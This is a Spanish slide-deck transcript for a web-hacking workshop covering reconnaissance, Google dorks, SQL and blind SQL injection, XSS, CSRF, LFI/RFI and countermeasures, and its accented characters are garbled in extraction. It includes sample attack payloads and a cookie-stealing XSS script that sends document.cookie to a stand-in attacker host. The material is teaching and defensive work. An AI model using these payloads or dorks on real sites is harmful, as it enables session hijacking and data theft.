taller&de&hacking&web& - cybercamp.es · –...
TRANSCRIPT
¿Quién soy yo?
• Soy experto en seguridad informá?ca desarrollando en los úl?mos 4 años mi labor como pentester en diferentes proyectos de hacking é?co para grandes empresas e ins?tuciones, colaborador del programa Mundo Hacker, escritor de diferentes libros relacionados con la seguridad informá?ca y el hacking é?co, formador de los cuerpos y seguridad del gobierno Español y sobre todo apasionado por la seguridad informá?ca y sus aplicaciones en el mundo actual.
Introducción
• ¿Qué son los ataques a las aplicaciones web? – Consiste en introducir código del lado front-‐end o back-‐end, con el fin
de comprometer la aplicación.
• ¿Qué ?po de repercusión pueden llegar a tener? – Dependiendo del ?po de ataque realizado, es posible causar mayor o
menor grado de repercusión.
• ¿Y donde queda la seguridad? – La seguridad la ?ene que a portar el desarrollador.
• ¿Existen medidas que automa?zan la seguridad? – A día de hoy hay diferentes productos que protejen las aplicaciones
web.
Ciberataques
• Son todos aquellos ataques que se realizan contra sistemas informá?cos cuya finalidad puede ser los siguientes puntos: – Tomar el control del sistema. – Denegación del servicio. – U?lizar el sistema infectado como pasarela para realizar ataques. – Robo de credenciales. – Espionaje. – Destrucción del sistema informá?co.
Ciberataques
• Mapas web donde se pueden visualizar ataques en el pasado y en el presente: – hZp://globe.cyberfeed.net/ – hZp://atlas.arbor.net/worldmap/index – hZp://cybermap.kaspersky.com/ – hZp://sicherheitstacho.eu/ – hZp://map.ipviking.com/ – hZp://www.akamai.com/html/technology/dataviz1.html – hZp://globe.f-‐secure.com/ – hZp://www.team-‐cymru.org/Monitoring/Malevolence/maps.html – hZp://www.digitalaZackmap.com/ – hZp://www.shadowserver.org/wiki/pmwiki.php/Stats/DDoSMaps – hZp://map.honeycloud.net/
Ciberseguridad
• El gráfico siguiente con?ene gran parte de las organizaciones que han sido víc?mas de ataques web:
Vic$mas
Gobiernos 20%
Finanzas 10%
Venta al por Menor 5%
Entretenimiento 5%
Polí?co 20%
Poveedor de Servicio 10%
Educación 5%
Hospitales 5%
Servicios de Información 10%
Hos?ng 10%
Ciberseguridad
• A con?nuación se listan las posibles repercusiones que podría hacer contra la organización (empresa o ins?tución pública): – Robo de Información y a demás venta de información confidencial a la
competencia. – Manipulación malintencionado con el perfil de un usuario de la
organización. – Espionaje. – Defacement de la aplicación web. – Denegación de Servicio contra la base de datos. – Denegación de Servicio contra el servidor web. – Acceso completo al servidor de la organización mediante la aplicación
web. – Crear un RootServer una vez está comprome?do el servidor.
Diferencia entre Pentester y Cibercriminal
• A par?r de aquí podemos diferenciar entre un cibercriminal y un pentester.
• Auditor o pentester: buscara los agujeros de seguridad con el fin de proteger.
• Cibercriminal: buscara también los agujeros pero con fines destruc?vos.
Etapas de un ataque web
• Reconocimiento: consiste en obtener información publica mediante medios pasivos o medios ac?vos: – Medios Pasivos: hacking con buscadores, herramientas de indagación
en redes sociales, análisis de metadatos, herramientas de ges?ón de red, etc.
– Medios Ac?vos: mediante técnicas de ingeniería social aplicadas a las personas que ges?onen la aplicación web o puedan tener algún ?po de contacto con la misma.
• Enumeración: consiste en escanear la red obje?vo para obtener la mayor información posible sobre toda la arquitectura.
Etapas de un ataque web
• Análisis: consiste en buscar todas las posibles vulnerabilidades en los disposi?vos encontrados en las fases anteriores.
• Explotación: consiste en explotar las vulnerabilidades encontradas en la etapa anterior, con el obje?vo de poder perpetrar y eliminar falsos posi?vos.
Etapas de un ataque
• Desde el punto de vista del pentester: – Documentación: etapa final del proceso de pentes?ng donde se
describe el pentest realizado en un documento de cara a que luego pueda volverse a reproducir.
• Desde el punto de vista del cibercriminal: – Borrado de huellas: eliminación de cualquier ?po de rastro que
hubiera podido dejar en el sistema.
El empiece de un atacante
• Los ataques a las aplicaciones web, empiezan primero aplicando técnicas de fingerprin?ng y footprin?ng.
Recabar Información
• Fingerprin?ng: todas aquellas técnicas que nos permitan obtener información sobre el ?po de sistema, los servicios que corren, la versión de los servicios etc.
• Footprin?ng: toda aquella información que aparece de forma pública.
Nmap
• Nmap es la herramienta por excelencia u?lizada por todo el mundo que quiera recabar información sobre que con?ene el sistema.
• No solo permite iden?ficar puertos y servicios. • Dispone de una gran variedad de scripts de los cuales algunos
de ellos ?enen repercusión contra las aplicaciones web
NETCAT
• Herramienta u?lizada con diferentes propósitos, uno de ellos es la u?lización de la técnica “Banner Grabing”.
• Banner Grabing consiste en obtener la versión de las aplicaciones.
• El obje?vo de netcat contra las aplicaciones web es obtener la e?queta server que es donde se almacena información.
HTTPrint
• Herramienta que automa?za las técnicas de fingerprin?ng, permite iden?ficar el ?po de servidor web, la tecnología u?lizad incluso cuando hay un WAF de por medio.
Hacking con buscadores
• La u?lización de los buscadores es otra forma pasiva para recopilar información.
• Es posible encontrar información de carácter muy importante para las aplicaciones web, haciendo simplemente uso de los buscadores como google, bing etc.
• Mediante el uso de determinadas expresiones dentro del buscador podemos u?lizando la araña de google por ejemplo, encontrar ficheros de tarjetas de crédito.
Operadores u?lizados en google hacking
• Site: restringe la búsqueda solo a la página o dominio. • In?tle: busca la cadena introducida en los ltulos de las
páginas. • Inurl: busca por páginas que contengan en la url la cadena
introducida. • Intext: la cadena de texto introducida deberá aparecer en el
interior de las páginas. • Filetype: acota la búsqueda a las páginas que contengan la
extensión puesta como cadena en el filetype.
Ejemplos de google hacking
• Inurl:ws_np.ini”[“WS_FTP]” filetype.ini • Inurl:midicart.mdb • ext:cgi inurl:cgi-‐bin intext:#!/bin/bash • Inurl:admin.php • Filetype:sql • in?tle:”index of” “Index of /” password.txt • Filetype:inc intext:mysql_connect password –please –could –
port
Búsqueda de Vulnerabilidades
• Existen herramientas que permiten automa?zar la búsqueda de vulnerabilidades a la hora de realizar un hacking web.
• Algunas de las herramientas: – Arachni. – Acune?x. – BurpSuite. – AppScan. – Nessus. – W3af. – Grabber. – Vega. – Skipfish.
Explotación de la vulnerabilidad
• Herramientas u?lizadas para explotar las vulnerabilidades encontradas: – Sqlmap. – Havij. – SqlNinja. – SQLBrute – BSQL Hacker. – Absinthe. – Metasploit. – DarkMYSQLI.
Entendiendo los vectores
• Existen diferentes formas para llegar a tener el vector de ataque: – Auditoría de caja blanca: disponemos de bastante información del
entorno por lo que a la hora de fijar el vector viene prác?camente acotado.
– Auditoría de caja negra: hay veces que se dispone de más información y otras veces que menos, pero de igual manera es más trabajoso encontrar los vectores de ataque.
– Auditoría de caja gris: es una mezcla entre caja blanca y caja negra.
• Desde el punto de vista del cibercrimen puede haber un obje?vo fijado o bien simplemente un juego de azar.
Obje?vos de un ataque web
• Evadir las medidas de seguridad existentes para conseguir extraer información de carácter sensible.
• Provocar un ataque de denegación se servicio que impida el acceso a la aplicación web.
• Probar a desarrollar nuevos agujeros de seguridad conocidos como 0 days que permitan explotar la aplicación web.
Metodologías Hacking Web
• OWASP: Es una organización sin ánimo de lucro orientada a desarrollar proyectos de código abierto para mejorar la seguridad informá?ca.
• NIST: Se trata del Na?onal Ins?tute Of Standards and Technology perteneciente al Departamento de Comercio de los Estados Unidos.
• OSSTMM: Se corresponde con una metodología abierta desarrollada por ISECOM, en la que se indican las pautas para comprobar la seguridad informá?ca.
Más información de Ataques
• En la página de owasp podemos ver de forma categorizada cada vulnerabilidad que se puede aplicar en aplicaciones web: hZps://www.owasp.org/index.php/Category:AZack
Tipos de Ataques
• SQL Injec?on. • Blind Sql Injec?on • XSS Reflected. • XSS Stored. • CSRF. • Brute Force • LFI/RFI. • Command Execu?on • File Upload
Otras Vulnerabilidades Web
• Xml Injec?on. • Denial of Service. • Ajax Injec?on. • Xpath Injec?on. • Buffer Overflow. • Path Traversal • LDAP Injec?on. • Reflected DOM Injec?on. • Cross Site Tracing. • Session Fixa?on.
SQL Injec?on
• SQL Injec?on – Fallo de inyección. – Falta de validación de entradas.
• Permite modificar las consultas SQL. • Extracción de información.
SQL Injec?on
• Ejemplo sin sql injec?on: h*p://example.com/news.php?id=23 <?php //... $id = $_GET['id']; $query = “SELECT * FROM news WHERE id=$id”; //... ?> SELECT * FROM news WHERE id=23
SQL Injec?on
• Ejemplo con Sql Injec$on
h*p://example.com/news.php?id=23 and1=0 <?php //... $id = $_GET['id']; $query = “SELECT * FROM news WHERE id=$id”;
//... ?> SELECT * FROM news WHERE id=23 and 1=0
Diferencia entre sql injec?on y blind sql Injec?on
• No muestra información de la base de datos en el navegador. • Se necesita “booleanizar” la información. • Extracción de datos más lenta.
Ejemplo Blind Sql Injec?on
Selecciona al menos un registro de la tabla “usuarios”.
No selecciona ningún registro de la tabla “usuarios”.
“Booleanización”
• Representar la información de forma binaria.
• Extraer un bit de información en cada consulta.
Búsqueda Binaria
• Buscar un valor en un arreglo ordenado. • Reduce la complejidad a la
mitad en cada iteración.
• Muy eficiente.
Por ejemplo:
?user=admin' AND ASCII(MID(USER(),1,1))>128%23 ASCII( 'r' ) -‐-‐> 114
AND 114 > 128 -‐-‐> FALSO ?user=admin' AND ASCII(MID(USER(),1,1))>64%23 ASCII( 'r' ) -‐-‐> 114 AND 114 > 64 -‐-‐> VERDADERO
...
XSS
• Su nombre original es "Cross Site Scripting", y es abreviado como XSS para no ser confundido con las siglas CSS, (hojas de estilo en cascada).
• Las vulnerabilidades de XSS originalmente abarcaban cualquier ataque que permitiera ejecutar código de "scripting", como VBScript o JavaScript, en el contexto de otro sitio web.
XSS
• Las fallas XSS ocurren cada vez que una aplicación toma datos no confiables y los envía al navegador web sin una validación y codificación apropiada.
• XSS permite a los atacantes ejecutar secuencia de
comandos en el navegador de la victima los cuales pueden secuestrar las sesiones de usuario, destruir sitios web, o dirigir al usuario hacia un sitio malicioso.
XSS REFLECTED
• Los ataques reflejados son aquellos donde el código inyectado es reflejado fuera del servidor, tal como en un mensaje de error, el resultado de una búsqueda o cualquier otra respuesta que incluya una parte de la entrada enviada al servidor como parte de una solicitud.
XSS STORED
• Los ataques almacenados son aquellos en los que el código inyectado reside permanentemente en los servidores que lo envían, ya sea en la base de datos, en un mensaje de un foro, en un log de un visitante, campo de comentario, etc. La víctima descarga el script malicioso del servidor cuando hace alguna solicitud de contenido
Ejemplo XSS
• Considere el siguiente formulario: <form ac?on="/registrar.php" method="post"> <p>Nombre de usuario: <input type="text" name="reg_usuario" /></p> <p>Email: <input type="text" name="reg_email" /></p> <p><input type="submit" value="Registrar" /> </form>
Ejemplo XSS
• Ahora considere el siguiente script de inserción de los datos: if (!get_magic_quotes_gpc()) { $_POST['reg_usuario'] = addslashes($_POST['reg_usuario']); $_POST['reg_email'] = addslashes($_POST['reg_email']);
} $sql = "insert into users (username, email) values ('{$_POST['reg_usuario
']}', '{$_POST['reg_email']}')";
Ejemplo XSS
• Imagine el siguiente nombre de usuario: <script>alert('¡Oh no!');</script>
• Se puede determinar fácilmente que el código anterior no es nombre de usuario válido, lo cual demuestra que el código que escribimos no es siempre prudente.
• Por supuesto, el peligro de XSS reside en el efecto producido cuando los datos son reenviados a otros u?lizadores.
Ejemplo XSS
• Despligue por un administrador: <table> <tr> <th>Usuario</th> <th>Email</th> </tr> <?php if ($_SESSION['admin']) { $sql = 'select username,email from users'; $result = mysql_query($sql); while ($user = mysql_fetch_assoc($result)) { echo "\t<tr>\n"; echo "\t\t<td>{$user['username']}</td>\n"; echo "\t\t<td>{$user['email']}</td>\n"; echo "\t</tr>\n"; } } ?> </table>
Ejemplo XSS
• En el ejemplo anterior si los datos no son validados antes de ser guardados, el administrador podrá ser sujeto de un ataque XSS.
Ejemplo XSS
• El riesgo es aún más evidente con algún ataque más vicioso como el siguiente: <script> document.loca?on = 'hZp://maligno.ejemplo.org/roba_cookies.php?
cookies=' + document.cookie </script>
• En este ejemplo, el script distante roba_cookies.php puede acceder a los cookies con la variable $_GET['cookies']. Un vez capturados los cookies pueden ser u?lizados para lanzar ataques de usurpación de iden?dad, obtener datos sensibles, etc.
CSRF
• Este ?po de ataques en lugar de explotar la confianza del usuario explotan la confianza que hace el si?o web a sus usuarios.
• CSRF implica la simulación de solicitudes HTTP, por lo cual es muy importante entender las solicitudes HTTP.
CSRF
• Considere un foro hipoté?co en hZp://foro.ejemplo.org/ que u?liza el siguiente formulario: <form ac?on="/add_post.php"> <p>Asunto: <input type="text" name="post_subject" /></p> <p>Mensaje: <textarea name="post_message"></textarea></p>
<p><input type="submit" value="Enviar" /></p> </form>
CSRF
• Dado que en el código anterior no se indicó POST una solicitud GET es enviada: GET /add_post.php?post_subject=foo&post_message=bar HTTP/1.1
HOST: foro.ejemplo.org Cookie: PHPSESSID=123456789
CSRF
• Considere la e?queta <img> siguiente: <img src="hZp://foro.ejemplo.org/add_post.php?
post_subject=foo&post_message=bar” />
• Cuando un navegador pida esta imagen va a enviar exactamente la misma solicitud de la filmina anterior. La víc?ma va a enviar un mensaje en el foro y sin darse cuenta.
Brute Force
• Un ataque de fuerza bruta es un método que se usa para adivinar las credenciales del sistema mediante la automa?zación de la prueba de credenciales.
• Este ataque es conocido como cracking online debido a que ataca a un servicio cuya arquitectura es Cliente/Servidor.
• Llevado al ámbito del hacking web este ataque repercu?rá en todas la aplicaciones donde exista un panel de login.
• El Obje?vo de este ataque es sacar las credenciales de la plataforma.
LFI
• Es utilizada en sitios que permiten el enlace de archivos locales, debido a una mala verificación en la programación de la página, que contiene las funciones propias de PHP: include(), include_once(), requiere(), requiere_once().
• Solo existe en páginas dinámicas desarrolladas en PHP.
RFI
• Es utilizada en sitios que permiten el enlace de archivos remotos, debido a una mala verificación en la programación de la página, que contiene las funciones propias de PHP: include(), include_once(), requiere(), requiere_once().
• Solo existe en páginas dinámicas desarrolladas en PHP.
Command Execu?on
• Permite la ejecución de determinados comandos en el sistema.
• Esta vulnerabilidad permi?rá modificar, eliminar archivos y directorios del servidor, las posibilidades son infinitas, su única limitación es el usuario que usa la consola para ejecutar los comandos, así dependería de los permisos de ese usuario para realizar ciertas acciones.
File Upload
• Consiste en subir al sistema un fichero malicioso ya sea sin aplicar ninguna técnica de camuflamiento o bien camuflando el malware dentro de uno los ficheros considerados por el sistema como aceptable.
• Algunas técnicas aplicadas para camuflar el malware son: – Null Byte. – Introducción a través de metadatos. – Modificación de las cabeceras del fichero. – Modificación de la Extensión.
Medidas de Protección Contra Sql Injec?on
• Expresiones regulares. • Validación de ?po. • Escapar caracteres
Especiales. • Librerías de seguridad. • ESAPI. • No solo JavaScript.
Medidas de Protección Contra Sql Injec?on
• Consultas Parametrizadas: • Definir primero la
consulta y luego pasarle los parámetros.
• Prepared Statements. • Storage Procedures
Medidas de Protección Contra Sql Injec?on
• Permisos de Acceso: Las aplicaciones no necesitan la cuenta de Administrador.
• GRANT ALL PRIV... ¿Es Necesario?
• Aplicaciones diferentes, usuarios diferentes
Medidas de Protección contra XSS
• XSS: – HTMLfilter es un proyecto para PHP que analiza todos los datos HTTP
antes de ser u?lizados.
• Filtrar todos los datos foráneos. • U?lizar la funcionalidad existente: htmlen??es(), strip_tags,
u�8_decode(), etc. pueden ayudar a escribir la lógica de filtrado.
• Solamente autorizar un contenido validado. • U?lizar una convención de nombres descrip?va.
Medidas de Protección contra CSRF
• U?lizar el método POST en los formularios. • U?lizar el arreglo $_POST en lugar de las variables creadas
gracias a register_globals. • No simplificar las acciones importantes. • Obligar al usuario a u?lizar nuestros formularios HTML.
Medidas de Protección contra CSRF
• Un ejemplo de técnica para obligar al usuario a u?lizar nuestros propios formularios es la siguiente: <?php $token = md5(?me()); $_SESSION['token'] = $token; $_SESSION['token_?mestamp'] = ?me(); ?> <form ac?on="/add_post.php"> <input type="hidden" name="token" value="<?php echo $token; ?>" /> <p>Asunto: <input type="text" name="post_subject" /></p> <p>Mensaje: <textarea name="post_message"></textarea></p> <p><input type="submit" value="Enviar" /></p> </form>
Medidas de Protección contra Brute Force
• U?lización de captchas. • Medidas de baneo llegado a los x intentos de error. • U?lización de contraseñas robustas. • U?lización de herramientas que permiten proteger a los
paneles web frente a estos ataques, por ejemplo la herramienta cPHULK Brute Force Protec?on.
Medidas de Protección contra LFI
• Como contramedida podemos recomendar los siguientes items:
• Filtrar todos los parámetros que un usuario de la página pueda manejar.
• Asegurarse de que no se pueda acceder a archivos más allá del "Document Root" de la página.
• Procesamiento correcto del parámetro y de la función que se dedique a recuperar el contenido del fichero que necesitemos.
Medidas de Protección contra RFI
• Como contramedida podemos recomendar los siguientes items:
• Filtrar todos los parámetros que un usuario de la página pueda manejar.
• Procesamiento correcto del parámetro y de la función que se dedique a recuperar el contenido del fichero que necesitemos.
• Si es posible setear la variable de PHP “allow_url_fopen” en off
Medidas de Protección contra Command Execu?on
• No permi?r la inserción de comandos como && o ||. • Filtrar el campo de tal manera que solo permita la
introducción del comando esperado. • Aplicar comprobaciones sobre el campo, determinando el
?po de datos que se le pasarán a los parámetros que recibe el comando.
Otras Medidas de Protección
• Sistemas de detección y prevención de intrusos. (Snort, PHPIDS)
• Web Applica?on Firewall. (mod_security)
• Reescritura de solicitudes HTTP. (mod_rewrite)
• Basados en patrones. No 100% confiables.
Entornos de Explotación
• Existen diferentes entornos de explotación web, a con?nuación se listan algunos de ellos: – DVWA. – NOWASP Mu?llidae. – SQLI-‐LABS. – Metasploitable. – WebGoat. – bWAPP. – PentesterLab.
Taller de Hacking
• Tecnologías u?lizadas: – Programación del lado Cliente: JavaScript. – Programación del lado Servidor: PHPy JSP. – Sistema gestor de base de datos: MongoDB y Sql Server.
• Ataques que se realizarán: – Blind NoSQL Injec?on del ?po boolean. – hZp Parameter Pollu?on. – Blind Sql Injec?on ?me based. – Hooking XSS Stored.
¿Qué es MongoDB?
• MongoDB es un sistema de bases de datos NoSQL orientada a documentos, desarrollado bajo el concepto de código abierto.
• En lugar de guardar los datos en tablas como se hace en las bases de datos relacionales, MongoDB guarda estructuras de datos en documentos ?po JSON con un esquema dinámico.
• No cumple con el esquema en?dad-‐relación. • No impone una estructura de datos.
CRUD
• Create – db.collec?on.insert( <document> ) – db.collec?on.save( <document> ) – db.collec?on.update( <query>, <update>, { upsert: true } )
• Read – db.collec?on.find( <query>, <projec?on> ) – db.collec?on.findOne( <query>, <projec?on> )
• Update – db.collec?on.update( <query>, <update>, <op?ons> )
• Delete – db.collec?on.remove( <query>, <justOne> )
¿Por qué surge?
• Poca eficiencia en aplicaciones en las BD relacionales. • Aumento de operaciones de lectura y escritura. • Gran conjunto de transacciones. • Sentencias complejas. • Dificultades en las escalabilidad del sistema.
Caracterís?cas NoSQL
• Consistencia Eventual. • Ausencia de esquema en los registros de datos. • Alta velocidad de respuesta a pe?ciones. • Estructura distribuida. • Escalabilidad horizontal.
Web Services
• Tecnología u?lizada para intercambiar datos entre aplicaciones.
• Dis?ntas aplicaciones y entornos puede hacer uso de los web services para intercambiar información y procesarla.
• SOAP: – Protocolo sobre el que se estable el intercambio.
• WSDL: – Es el lenguaje de la interfaz pública para los servicios Web. Es una
descripción basada en XML de los requisitos funcionales necesarios para establecer una comunicación con los servicios Web.
HTTP Parameter Pollu?on
• Los ataques de polucción de parámetros HTTP consisten en la inyección de delimitadores query string codificados en otros parámetros existentes.
• Si el parámetro en el que se ha realizado la inyección no es valida correctamente y se u?liza decodificado para generar una URL, el atacante puede insertar uno o más parámetros en dicha URL.
• Las consecuencias de este ataque dependen de la lógica de la aplicación y pueden tener desde un leve impacto hasta una gran importancia.
HTTP Parameter Pollu?on
• Dependiendo del lenguaje del servidor si se aplica el ataque HPP se cogerá el primero, el segundo o ambos parámetros repe?dos.
Beef
• Herramienta desarrollada en JavaScript es open-‐source. • Permite mediante JavaScript infectar los navegadores y
u?lizando una gran variedad de scripts ejecutar diferentes ataques en función del ?po de navegador que se haya infectado.
• Beef es una librería de JavaScript como por ejemplo la librería jQuery, que se incluye en una página y esta se distribuye para infectar los navegadores.